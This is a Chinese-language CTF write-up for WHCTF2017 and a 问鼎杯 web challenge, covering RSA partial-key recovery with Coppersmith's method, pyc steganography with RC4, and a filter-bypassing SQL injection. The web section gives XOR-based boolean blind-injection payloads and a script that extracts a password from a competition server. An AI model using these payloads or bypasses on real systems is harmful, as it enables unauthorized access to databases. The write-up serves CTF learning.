WHCTF2017

Crypto——Untitled

核心考点在于拿到rsa中p的前568位,但是知道 e n 要利用算法破解1024位的p,至少需要576位,所以要爆破8位的二进制,达到576位了再用算法恢复完整的p

密码题目在最下方的whctf2017.py

Paste_Image.png

nc 118.31.18.75 20013 与服务器交互

第1步 过md5

Paste_Image.png
md5脚本为最下方的md5.py
之前都是用xrange生成随机长度,这次试一下生成固定长度的字符串,而且字符集合可以自己选择,没准以后哪次CTF就能用到
Paste_Image.png

第2步 rsa数学推导

要求输入x和y,这里主要考rsa的原理,类似数学等价推导

Paste_Image.png

第3步 爆破p

144.py截图

Paste_Image.png

142+2.py截图

Paste_Image.png

第4步 求出明文m

p q c 都知道了,so easy
脚本为最下面的 rsa.py

git clone https://github.com/hellman/libnum

Paste_Image.png

Paste_Image.png

whctf2017.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
import primefac
import time
from os import urandom
import hashlib
import sys
class Unbuffered(object):
def __init__(self, stream):
self.stream = stream
def write(self, data):
self.stream.write(data)
self.stream.flush()
def __getattr__(self, attr):
return getattr(self.stream, attr)
import sys
sys.stdout = Unbuffered(sys.stdout)
def gen_args():
p=getPrime(1024)
q=getPrime(1024)
n=p*q
e=0x10001
d=primefac.modinv(e,(p-1)*(q-1))%((p-1)*(q-1))
return (p,q,e,n,d)
def proof():
salt=urandom(4)
print salt.encode("base64"),
proof=raw_input("show me your work: ")
if hashlib.md5(salt+proof.decode("base64")).hexdigest().startswith("0000"):
print "checked success"
return 1
return 0

def run():
if not proof():
return
m=int(open("/home/bibi/PycharmProjects/work/whctf/flag","r").read().encode("hex"),16)#flag{*}
(p,q,e,n,d)=gen_args()
c=pow(m,e,n)
print "n:",hex(n)
print "e:",hex(e)
print "c:",hex(c)
t=int(hex(m)[2:][0:8],16)
u=pow(t,e,n)
print "u:",hex(u)
print "===="
x=int(hex(m)[2:][0:8]+raw_input("x: "),16)
print "===="
y=int(raw_input("y: "),16)
if (pow(x,e,n)==y and pow(y,d,n)==t):
print "s:",hex(int(bin(p)[2:][0:568],2))
run()

md5.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!coding:utf-8
import string
import hashlib
from random import Random
def random_str(randomlength=8): #这里写的是8位字符的破解,在这题目中可以不下
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(randomlength):
str+=chars[random.randint(0, length)]
return str

salt = 'SauTEQ=='.decode('base64')
while True:
proof = random_str(8).encode('base64')
if hashlib.md5(salt+proof.decode('base64')).hexdigest().startswith("0000"):
print proof
print salt
print proof.decode('base64')+salt
print salt.encode('base64')
print hashlib.md5(salt+proof.decode('base64')).hexdigest()
break

144.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from sage.all import *
n = 0x9d3a1a28ecb1bd245dd86b18dc4c5b729f23778710005118836129f08e31d6516de8ab47db1b3b7f660f50d283b1e9f2c06e7836136e4c0159f5d2b05771861d3ce6aa8715932eadc1cc0f380909a1961018340f7393142f9c177b1187151f97ac8cdc4ad17fa59a0f39d192af555f27de9cc800846eb2ca6ce78f87c0c0fbf47828328392b81771af624389fd779d130d80739bb7a608961125ba3f1800c766440fa70bfd3f834294d47d7ed9cfffd6d14ae18310f6c1d6d8f88b6c5d72a0b45608b4e21bbb8e314220ed7a2d6a8c95454e571c71b50f1d6a823778ca47131f5b889a1ed1957248bee8c4ac66872a5fd58a121560a27bad4958f1c763f2ffddL

p4 =0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b57
#刚好144位十六进制,576位二进制

e = 0x10001
pbits = 1024

kbits = pbits - p4.nbits()
print p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
#经过以上一些函数处理后,n和p已经被转化为10进制
if roots:
p = p4+int(roots[0])
print "n: ", n
print "p: ", p
print "q: ", n/p

运行结果

Paste_Image.png

142+2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from sage.all import *
n = 0x9d3a1a28ecb1bd245dd86b18dc4c5b729f23778710005118836129f08e31d6516de8ab47db1b3b7f660f50d283b1e9f2c06e7836136e4c0159f5d2b05771861d3ce6aa8715932eadc1cc0f380909a1961018340f7393142f9c177b1187151f97ac8cdc4ad17fa59a0f39d192af555f27de9cc800846eb2ca6ce78f87c0c0fbf47828328392b81771af624389fd779d130d80739bb7a608961125ba3f1800c766440fa70bfd3f834294d47d7ed9cfffd6d14ae18310f6c1d6d8f88b6c5d72a0b45608b4e21bbb8e314220ed7a2d6a8c95454e571c71b50f1d6a823778ca47131f5b889a1ed1957248bee8c4ac66872a5fd58a121560a27bad4958f1c763f2ffddL

p4 =0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b00
#最后面8位二进制,也就是两位十六进制要参与爆破运算,所以要用 00 补充
e = 0x10001
pbits = 1024

for i in range(0,256): # 要爆破的8位二进制数,为2**8=256,表示0~255
p4=0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b00
p4=p4+int(hex(i),16)
# print hex(p4)
kbits = pbits - p4.nbits()
# print p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
#经过以上一些函数处理后,n和p已经被转化为10进制
if roots:
p = p4+int(roots[0])
print "n: ", n
print "p: ", p
print "q: ", n/p
break

运行结果

Paste_Image.png

rsa.py

1
2
3
4
5
6
7
8
9
10
11
12
#!coding:utf-8
import libnum

p = 153342497773165720646471265753416937042378585974980600696228054280777067742118708748260148517704664270966750151230879697775745552153863038444052153549264336387543725044459125347571130674447630098572217293190874462747269265287826289527205379087607586543990164027856167617915226681078528645859423680436167557483
q = 129436166908331611554181128183182589454341960422674433223367230133752416435382709963204302422852744109315802741839344452057748805269289759475931297256986800620920742486276489445279916851138781600867108041340752127975698302831477903370939720026728065273734373673806527712975351406042878379903498709089420733911
n = p * q
e = 65537
c = 3936037472808777071308929516154413904323194935340248548327659414834313812796990403988095925642368079268517801058041656316181783492880322278956562595000260504254255037928037412478862828849501974686520351939250369196179274580006017942557434135384292957158484997604383679828898427028204052111920452543131945953240230799711698405726536262211948501121455918845580494839990978306064590105574542739676508765285583405238287804427122294772381588739840326134102495086948522002204793929245624099798045204501372180048163169180023176545149820275841071238390132249159995705693884766122963689536408510312667760860122892135226523829
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
m = libnum.n2s(pow(c, d, n)) #m是明文,也就是flag
print m #flag{rs4_y0ok_s0_m2ch_1n_c7f_qu4ls_c0mp7t1t10n}

Misc——py-py-py

这道题misc题,我一开始的思路是爆破uc_key,因为谷歌搜到以前uc的key泄露,为123456789,然后我就以为是爆破key,硬生生把一道misc题当作密码题来做,在最下面贴一下,我爆破uc_key的代码,没准以后哪次ctf会用到,为 uc_key.py

  • 现在言归正传,讲这道题的正确解法
  • 题目给了一个pyc文件,用一些工具反编译都会报错,后面找了一个在线的反编译pyc的网站,支持不同版本的pyc的反编译 http://tool.lu/pyc/
  • 反编译后的代码,贴在下方的py-py-py.py

Paste_Image.png

  • 从部分代码看出,使用的是rc4加密算法,而且这里的 ddd 其实就是key
  • 网上找到一份rc4解密的python实现算法,代码贴在下面的 rc4.py
    修改几个变量就能解了。。。。。

Paste_Image.png

Paste_Image.png
运行结果

Paste_Image.png

  • 根据运行结果,知道了是pyc隐写,加解密脚本是Stegosaurus.py,代码也贴在下面,要在 >=py3.6 的版本下运行

Paste_Image.png

py-py-py.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
# encoding: utf-8
# 访问 http://tool.lu/pyc/ 查看更多信息
import sys
import os
import hashlib
import time
import base64
fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='

def crypto(string, op, public_key, expirytime = ('encode', 'ddd', 0)):
ckey_lenth = 4
if not public_key or public_key:
pass
public_key = ''
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
if ckey_lenth:
if not (op == 'decode' or string[0:ckey_lenth]) and hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]:
pass
keyc = ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey)
if not op == 'decode' or base64.b64decode(string[4:]):
pass
string = '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))

for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

for i in xrange(string_lenth):
a = 0
j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])

if op == 'decode':
if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
return None
return keyc + base64.b64encode(result)

if __name__ == '__main__':
while None:
flag = raw_input('Please input your flag:')
if flag == crypto(fllag, 'decode'):
print('Success')
break
continue
continue
return None

rc4.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# /usr/bin/python
# coding=utf-8
import sys, os, hashlib, time, base64


def rc4(string, op='encode', public_key='ddd', expirytime=0):
ckey_lenth = 4
public_key = public_key and public_key or ''
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = ckey_lenth and (
op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey)
string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[
0:16] + string
string_lenth = len(string)

result = ''
box = list(range(256))
randkey = []

for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))

for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

for i in xrange(string_lenth):
a = j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

if op == 'decode':
if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(
result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
else:
return None
else:
return keyc + base64.b64encode(result)

if __name__ == '__main__':
string = '我在这里呢,你在那里呢'
print(string)
str = rc4(string, 'encode')
print(str)
fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='
rc = rc4(fllag, 'decode')
print(rc)

Stegosaurus.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
import argparse
import logging
import marshal
import opcode
import os
import py_compile
import sys
import math
import string
import types

print ('usage: python Stegosaurus.py -h')
print ('usage: python Stegosaurus.py 1.pyc -x')

if sys.version_info < (3, 6):
sys.exit("Stegosaurus requires Python 3.6 or later")


class MutableBytecode():
def __init__(self, code):
self.originalCode = code
self.bytes = bytearray(code.co_code)
self.consts = [MutableBytecode(const) if isinstance(const, types.CodeType) else const for const in code.co_consts]


def _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger=None):
for mutableBytecode in reversed(mutableBytecodeStack):
bytes = mutableBytecode.bytes
consecutivePrintableBytes = 0
for i in range(0, len(bytes)):
if chr(bytes[i]) in string.printable:
consecutivePrintableBytes += 1
else:
consecutivePrintableBytes = 0

if i % 2 == 0 and bytes[i] < opcode.HAVE_ARGUMENT:
if consecutivePrintableBytes >= explodeAfter:
if logger:
logger.debug("Skipping available byte to terminate string leak")
consecutivePrintableBytes = 0
continue
yield (bytes, i + 1)


def _createMutableBytecodeStack(mutableBytecode):
def _stack(parent, stack):
stack.append(parent)

for child in [const for const in parent.consts if isinstance(const, MutableBytecode)]:
_stack(child, stack)

return stack

return _stack(mutableBytecode, [])


def _dumpBytecode(header, code, carrier, logger):
try:
f = open(carrier, "wb")
f.write(header)
marshal.dump(code, f)
logger.info("Wrote carrier file as %s", carrier)
finally:
f.close()


def _embedPayload(mutableBytecodeStack, payload, explodeAfter, logger):
payloadBytes = bytearray(payload, "utf8")
payloadIndex = 0
payloadLen = len(payloadBytes)

for bytes, byteIndex in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
if payloadIndex < payloadLen:
bytes[byteIndex] = payloadBytes[payloadIndex]
payloadIndex += 1
else:
bytes[byteIndex] = 0

print("Payload embedded in carrier")


def _extractPayload(mutableBytecodeStack, explodeAfter, logger):
payloadBytes = bytearray()

for bytes, byteIndex in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
byte = bytes[byteIndex]
if byte == 0:
break
payloadBytes.append(byte)

payload = str(payloadBytes, "utf8")

print("Extracted payload: {}".format(payload))


def _getCarrierFile(args, logger):
carrier = args.carrier
_, ext = os.path.splitext(carrier)

if ext == ".py":
carrier = py_compile.compile(carrier, doraise=True)
logger.info("Compiled %s as %s for use as carrier", args.carrier, carrier)

return carrier


def _initLogger(args):
handler = logging.StreamHandler()
handler.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))

logger = logging.getLogger("stegosaurus")
logger.addHandler(handler)

if args.verbose:
if args.verbose == 1:
logger.setLevel(logging.INFO)
else:
logger.setLevel(logging.DEBUG)

return logger


def _loadBytecode(carrier, logger):
try:
f = open(carrier, "rb")
header = f.read(12)
code = marshal.load(f)
logger.debug("Read header and bytecode from carrier")
finally:
f.close()

return (header, code)


def _logBytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger):
for bytes, i in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger):
logger.debug("%s (%d)", opcode.opname[bytes[i - 1]], bytes[i])


def _maxSupportedPayloadSize(mutableBytecodeStack, explodeAfter, logger):
maxPayloadSize = 0

for bytes, i in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
maxPayloadSize += 1

logger.info("Found %d bytes available for payload", maxPayloadSize)

return maxPayloadSize


def _parseArgs():
argParser = argparse.ArgumentParser()
argParser.add_argument("carrier", help="Carrier py, pyc or pyo file")
argParser.add_argument("-p", "--payload", help="Embed payload in carrier file")
argParser.add_argument("-r", "--report", action="store_true", help="Report max available payload size carrier supports")
argParser.add_argument("-s", "--side-by-side", action="store_true", help="Do not overwrite carrier file, install side by side instead.")
argParser.add_argument("-v", "--verbose", action="count", help="Increase verbosity once per use")
argParser.add_argument("-x", "--extract", action="store_true", help="Extract payload from carrier file")
argParser.add_argument("-e", "--explode", type=int, default=math.inf, help="Explode payload into groups of a limited length if necessary")
args = argParser.parse_args()

return args


def _toCodeType(mutableBytecode):
return types.CodeType(
mutableBytecode.originalCode.co_argcount,
mutableBytecode.originalCode.co_kwonlyargcount,
mutableBytecode.originalCode.co_nlocals,
mutableBytecode.originalCode.co_stacksize,
mutableBytecode.originalCode.co_flags,
bytes(mutableBytecode.bytes),
tuple([_toCodeType(const) if isinstance(const, MutableBytecode) else const for const in mutableBytecode.consts]),
mutableBytecode.originalCode.co_names,
mutableBytecode.originalCode.co_varnames,
mutableBytecode.originalCode.co_filename,
mutableBytecode.originalCode.co_name,
mutableBytecode.originalCode.co_firstlineno,
mutableBytecode.originalCode.co_lnotab,
mutableBytecode.originalCode.co_freevars,
mutableBytecode.originalCode.co_cellvars
)


def _validateArgs(args, logger):
def _exit(msg):
msg = "Fatal error: {}\nUse -h or --help for usage".format(msg)
sys.exit(msg)

allowedCarriers = {".py", ".pyc", ".pyo"}

_, ext = os.path.splitext(args.carrier)

if ext not in allowedCarriers:
_exit("Carrier file must be one of the following types: {}, got: {}".format(allowedCarriers, ext))

if args.payload is None:
if not args.report and not args.extract:
_exit("Unless -r or -x are specified, a payload is required")

if args.extract or args.report:
if args.payload:
logger.warn("Payload is ignored when -x or -r is specified")
if args.side_by_side:
logger.warn("Side by side is ignored when -x or -r is specified")

if args.explode and args.explode < 1:
_exit("Values for -e must be positive integers")

logger.debug("Validated args")


def main():
args = _parseArgs()
logger = _initLogger(args)

_validateArgs(args, logger)

carrier = _getCarrierFile(args, logger)
header, code = _loadBytecode(carrier, logger)

mutableBytecode = MutableBytecode(code)
mutableBytecodeStack = _createMutableBytecodeStack(mutableBytecode)
_logBytesAvailableForPayload(mutableBytecodeStack, args.explode, logger)

if args.extract:
_extractPayload(mutableBytecodeStack, args.explode, logger)
return

maxPayloadSize = _maxSupportedPayloadSize(mutableBytecodeStack, args.explode, logger)

if args.report:
print("Carrier can support a payload of {} bytes".format(maxPayloadSize))
return

payloadLen = len(args.payload)
if payloadLen > maxPayloadSize:
sys.exit("Carrier can only support a payload of {} bytes, payload of {} bytes received".format(maxPayloadSize, payloadLen))

_embedPayload(mutableBytecodeStack, args.payload, args.explode, logger)
_logBytesAvailableForPayload(mutableBytecodeStack, args.explode, logger)

if args.side_by_side:
logger.debug("Creating new carrier file name for side-by-side install")
base, ext = os.path.splitext(carrier)
carrier = "{}-stegosaurus{}".format(base, ext)

code = _toCodeType(mutableBytecode)

_dumpBytecode(header, code, carrier, logger)


if __name__ == "__main__":
main()

uc_key.py (虽然走了弯路,但希望以后能用到)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!coding:utf-8
from hashlib import md5
import base64
from time import time
from datetime import datetime

import sys
default_encoding = 'utf-8'
if sys.getdefaultencoding() != default_encoding:
reload(sys)
sys.setdefaultencoding(default_encoding) #加上这几句话,可以防止一些编码报错

chars='0123456789zxcvbnmasdfghjklpoiuytrewqQWERTYUIOPLKJHGFDSAZXCVBNM+=/'

#string = '0be6770IigHXZpz9hQYR1fpl15R0z9MUalmYEPhJeEN/sRklL6wQw5yQ7SAyT6tKGJNY0AxnyzS/L7zWQII='

operation = 'DECODE'
#解密算法是RC4原理,之前UC_KEY采用的算法的逆算法

for UC_KEY in xrange(123456777,123456888): #这里密钥为123456789可以解出一个flag来
string = '0be6770IigHXZpz9hQYR1fpl15R0z9MUalmYEPhJeEN/sRklL6wQw5yQ7SAyT6tKGJNY0AxnyzS/L7zWQII='
result = ''
UC_KEY= str(UC_KEY)
print UC_KEY
ckey_length = 4
key = ''
key = md5(UC_KEY).hexdigest()
keya = md5(key[0:16]).hexdigest()
keyb = md5(key[16:32]).hexdigest()
if ckey_length == 0:
keyc = ''
elif operation == 'DECODE':
keyc = string[0:ckey_length]
elif operation == 'ENCODE':
keyc = md5(str(datetime.now().microsecond)).hexdigest()[-ckey_length:]

cryptkey = keya + md5((keya + keyc)).hexdigest()
key_length = len(cryptkey)
if operation == 'DECODE':
b64 = 1
# print string[ckey_length:]
for strin in string[ckey_length:]: #检查是不是base64可解的字符,不是就修改b64标志为0,然后break,不然会解码报错
# print strin
if chars.find(strin) == -1:
b64 = 0
break
if b64 == 0:
continue
string = base64.b64decode(string[ckey_length:])
# print string
elif operation == 'ENCODE':
if expiry == 0:
string = '0000000000' + md5((string + keyb)).hexdigest()[0:16] + string
else:
string = '%10d' % (expiry + int(time())) + md5((string + keyb)).hexdigest()[0:16] + string
else:
print
string_length = len(string)
box = range(256)
rndkey = [0] * 256
for i in range(256):
rndkey[i] = ord(cryptkey[i % key_length])

j = 0
for i in range(256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

a = j = 0
for i in range(string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])
print result[26:]
if result[26:].find('Flag{') != -1: #搜索flag特征字符串,作为退出条件
print result[26:]
sys.exit()
if result[26:].find('CTF') != -1:
print result[26:]
sys.exit()
if result[26:].find('ctf{') != -1:
print result[26:]
sys.exit()

运行结果

Paste_Image.png

web——谈笑风生

在打WHCTF的时候,一个朋友在打问鼎杯,所以就做了一道问鼎杯的web题——谈笑风生

Paste_Image.png

  • 闭合符号不是单引号,是双引号
  • 大量的过滤,比较蛋疼的有
    or 被过滤导致 information_schema也被过滤
    # --+ ;%00等注释符号被过滤
    and 被过滤
    /**/ /*!*/ 等绕过的符号都被过滤
  • 这里采用的绕过使用 异或逻辑符号+布尔盲注入
    username="^(ascii(mid(database(),1,1))>0)^"&password=""
    username="^(ascii(mid(database(),1,1))=0)^"&password=""
    前者显示error password ,后者显示error user

  • 这里用的布尔盲注脚本的关键payload是
    "^(ascii(mid(pass,%d,1))>%d)^"
    具体的盲注脚本贴在下面的sql.py

    • 因为information_schema被过滤,所以这里需要猜出字段pass,而不是password

闭合后的sql查询语句应该是这样

1
2
select * from user where username = ""^(ascii(mid(database(),1,1))>0)^""and password = ""
空字符串、1、空字符串 这三者异或后返回 1

php代码的sql语句大概是这么写

1
$sql = select * from user where username = " .$username. "and pass=".md5($password)."

  • 盲注得到密码,1s2evfh345w$~*213eg3%
  • 那么现在来到最坑的一步了,这里想骂出题人
    用户名admin和密码1s2evfh345w$~*213eg3%去登陆,结果没反应?????正常情况下,登陆成功后应该302跳转啊!!!!
  • 后面才知道有个admin.php,登陆成功后,在地址栏,手动将 index.php改成admin.php 。。。。flag就在cookie里面

Paste_Image.png

推荐链接

  • sql绕过技巧 http://pupiles.com/mysqltrick.html
  • sql逻辑运算符 http://www.cnblogs.com/emanlee/p/4592337.htm
  • sql.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import urllib2
    import urllib

    t=""
    for i in range(1,500):
    for j in range(1,128):
    params={"username":'"^(ascii(mid(pass,%d,1))>%d)^"'%(i,j),"password":'xx'}
    ans=urllib2.urlopen("http://sec2.hdu.edu.cn/ac5c74b64b4b8352ef2f181affb5ac2a/index.php",urllib.urlencode(params)).read()
    #print ans
    if "Password error!" in ans:
    t+=chr(j)
    print t
    break
    print "a loop"
-------------本文结束感谢您的阅读-------------